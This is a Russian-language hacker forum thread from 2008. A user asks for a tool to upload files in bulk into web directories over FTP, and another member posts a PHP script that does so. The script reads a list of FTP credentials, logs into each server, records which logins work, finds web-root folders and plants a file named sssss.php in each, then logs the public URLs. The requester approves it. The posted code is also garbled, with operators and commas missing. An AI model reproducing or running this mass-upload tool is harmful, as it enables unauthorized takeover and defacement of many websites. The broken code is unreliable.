Ftp тулза

Discussion in 'Болталка' started by Хозяин, 16 May 2008.

  1. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Срочно нужна тулза, для работы с фтп.
    Не нужно ничего навороченного, грузить файл в веб диру (индекс к примеру, если его просто нет или перезаписывать его)

    /showthread.php?p=304586

    это работает как-то нестабильно, то грузит файл, то отказывается.

    Посоветуйте, заранее спасибо
     
  2. Полуночный Хэкер

    Joined:
    15 May 2008
    Messages:
    5
    Likes Received:
    6
    Reputations:
    3
    FileZilla +))) фтп клиентов то полно
     
  3. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Причем здесь файлзилла? мне массово нужно это делать
     
  4. Полуночный Хэкер

    Joined:
    15 May 2008
    Messages:
    5
    Likes Received:
    6
    Reputations:
    3
    запусти много файлзил)
     
  5. Piflit

    Piflit Banned

    Joined:
    11 Aug 2006
    Messages:
    1,249
    Likes Received:
    585
    Reputations:
    31
    d1ez money maker
     
  6. diehard

    diehard Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    442
    Likes Received:
    266
    Reputations:
    15
    вот мой мегапревадный скрипт писан недавно как раз для этих целей, читает список фтп, коннектится, выбирает диры похожие на веб-диры и записывает в каждую из них файл.

    PHP:
    <?
    set_time_limit(0);
    Error_Reporting(E_ALL & ~E_NOTICE);


    $all_ftp file("ftp.txt");

    $remotefilename "sssss.php";
    $localfilename "sssss.php";

    function 
    iswebdir($dir){
      
    $strs = array("www""html""http""docs");
      foreach (
    $strs as $ptrn){
        if (
    strstr($dir$ptrn)) 
          return 
    1;
      }
      return 
    0;
    }

    function 
    writelog($txt){
      
    $flog fopen("log.txt""a");
      
    fwrite($flog$txt."\r\n");
      
    fclose($flog);
    }

    for (
    $i=0$i<sizeof($all_ftp); $i++){
      
    $ftp trim($all_ftp[$i]);
      
    $fcurr fopen("current.txt""w");
      
    fwrite($fcurr$i."\r\n".$ftp);
      
    fclose($fcurr);

      
    $login="";
      
    $pass="";
      
    $account=eregi_replace("\n|\r|ftp://","",trim($ftp));
      
    $host=str_replace("/","",substr($account,strrpos($account,"@")+1));
      
    $loginpass=substr($account,0,strrpos($account,"@"));
      @list(
    $login,$pass)=@explode(":",$loginpass,2);

      
    $conn ftp_connect($host2110);
      if (!
    $conn) {
        
    //writelog("Not connect $ftp");
        
    continue;
      } 
    //else writelog("Connect to $ftp");

      
    $login_result ftp_login($conn$login$pass);
      if (!
    $login_result) {
        
    //writelog("Wrong login $ftp");
        
    ftp_quit($conn);
        continue;
      } 
    //else writelog("Login to $ftp");

      
    $fvalid fopen("valid.txt""a");
      
    fwrite($fvalid$ftp."\r\n");
      
    fclose($fvalid);

      
    ftp_pasv($conntrue);
      
    $rootdir ftp_pwd($conn);
      
    //writelog("pwd=$rootdir");
      
    $webdirs = array($rootdir);
      
    $filelist ftp_rawlist($conn$rootdir);
      foreach (
    $filelist as $raw){
        
    $filename trim(substr($rawstrrpos($raw" ")));
        
    $len strlen($filename);
        if (
    substr($filename$len-1) == "/"
          
    $filename substr($filename0$len 1);
        if (
    $slash strrpos($filename"/"))
          
    $filename substr($filename$slash 1);
        if (
    substr($raw01) == "d"){ //directory
          
    if (iswebdir($filename)){
        
    //writelog("webdit ".$rootdir."/".$filename);
        
    $webdirs[] = $rootdir."/".$filename;
          }
          }
        }

      foreach (
    $webdirs as $dir){
        
    $f1 $dir."/".$remotefilename;
        
    $f2 $localfilename;
        if (
    ftp_put($conn$f1$f2FTP_BINARY))
        
    //writelog("uploaded $f2 to $f1");
        
    writelog("http://".$host."/sssss.php");
         
    //else
        //writelog("cannot upload $f2 to $f1");
      
    }  

      
    ftp_quit($conn);
    }

    ?>
     
  7. Хозяин

    Хозяин Elder - Старейшина

    Joined:
    15 Mar 2006
    Messages:
    435
    Likes Received:
    404
    Reputations:
    110
    Спасибо, это именно то, что нужно!